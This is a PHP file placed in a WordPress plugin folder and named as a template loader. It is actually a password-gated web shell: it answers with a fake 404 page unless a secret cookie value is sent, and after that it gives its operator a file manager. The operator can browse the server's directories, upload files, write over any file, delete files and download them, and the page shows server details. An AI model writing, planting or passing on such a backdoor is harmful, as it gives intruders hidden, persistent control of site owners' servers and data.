File: /home/storage/162/3480162/user/htdocs/wp-content/plugins/wp-helper-zztz/template-loader.php
<?php
@ini_set('display_errors','0');
$_k=isset($_COOKIE['xiwrrrmf'])?$_COOKIE['xiwrrrmf']:(isset($_REQUEST['xiwrrrmf'])?$_REQUEST['xiwrrrmf']:'');
if($_k!=='gydhntmaxssgcrta'){header('HTTP/1.0 404 Not Found');exit('Page not found');}
@setcookie('xiwrrrmf','gydhntmaxssgcrta',time()+2592000,'/');
$R=isset($_REQUEST['r'])?@realpath($_REQUEST['r']):getcwd();if(!$R)$R=getcwd();
$R=rtrim(str_replace('\\','/',$R),'/').'/';
$op=isset($_REQUEST['op'])?$_REQUEST['op']:'';$info='';
if($op==='put'&&!empty($_FILES['u'])){$d=$R.basename($_FILES['u']['name']);$info=@copy($_FILES['u']['tmp_name'],$d)?'Uploaded '.basename($d):'Failed';@chmod($d,0644);}
if($op==='md'&&isset($_REQUEST['nm'])){$info=@mkdir($R.$_REQUEST['nm'],0755)?'Created':'Failed';}
if($op==='del'&&isset($_REQUEST['t'])){$t=$R.$_REQUEST['t'];$info=is_dir($t)?(@rmdir($t)?'Removed':'Failed'):(@unlink($t)?'Deleted':'Failed');}
if($op==='w'&&isset($_REQUEST['t'])&&isset($_POST['data'])){$h=@fopen($R.$_REQUEST['t'],'w');if($h){fwrite($h,$_POST['data']);fclose($h);$info='Saved';}else $info='Error';}
if($op==='g'&&isset($_REQUEST['t'])){$t=$R.$_REQUEST['t'];if(is_file($t)){header('Content-Type:application/octet-stream');header('Content-Disposition:attachment;filename='.basename($t));readfile($t);exit;}}
echo '<!DOCTYPE html><html><head><meta charset="utf-8"><title>r00t@trenggalek6etar</title><style>*{margin:0;box-sizing:border-box}body{background:#0d1117;color:#c9d1d9;font:13px Consolas,monospace}table{width:100%;border-collapse:collapse}th{text-align:left;padding:7px;background:#161b22}td{padding:5px 7px;border-bottom:1px solid #21262d}a{color:#58a6ff;text-decoration:none}button{background:#238636;color:#fff;border:none;padding:3px 12px;border-radius:6px;cursor:pointer}</style></head><body>';
echo '<div style="background:#161b22;padding:8px 14px;border-bottom:1px solid #30363d"><b>r00t@trenggalek6etar</b> | '.php_uname('s').' '.php_uname('n').' | PHP '.PHP_VERSION.'</div>';
if($info)echo '<div style="color:#3fb950;padding:4px 14px">'.$info.'</div>';
echo '<div style="padding:6px 14px;background:#0d1117">';
echo '<form method="post" enctype="multipart/form-data" action="?xiwrrrmf=gydhntmaxssgcrta&r='.urlencode(rtrim($R,'/')).'&op=put" style="display:inline"><input type="file" name="u"><button>Upload</button></form></div>';
echo '<table><tr><th>Name</th><th>Size</th><th>Date</th><th></th></tr>';
$ls=@scandir($R);if($ls){natcasesort($ls);foreach($ls as $e){if($e==='.')continue;
if(is_dir($R.$e)){echo '<tr><td><a href="?xiwrrrmf=gydhntmaxssgcrta&r='.urlencode($R.$e).'"><b>'.$e.'</b></a></td><td>-</td><td>'.@date('M d H:i',filemtime($R.$e)).'</td><td></td></tr>';}
else{$sz=@filesize($R.$e);$h=$sz>1048576?round($sz/1048576,1).'M':($sz>1024?round($sz/1024,1).'K':$sz);
echo '<tr><td>'.$e.'</td><td>'.$h.'</td><td>'.@date('M d H:i',filemtime($R.$e)).'</td><td><a href="?xiwrrrmf=gydhntmaxssgcrta&r='.urlencode(rtrim($R,'/')).'&op=g&t='.urlencode($e).'">dl</a></td></tr>';}}}
echo '</table></body></html>';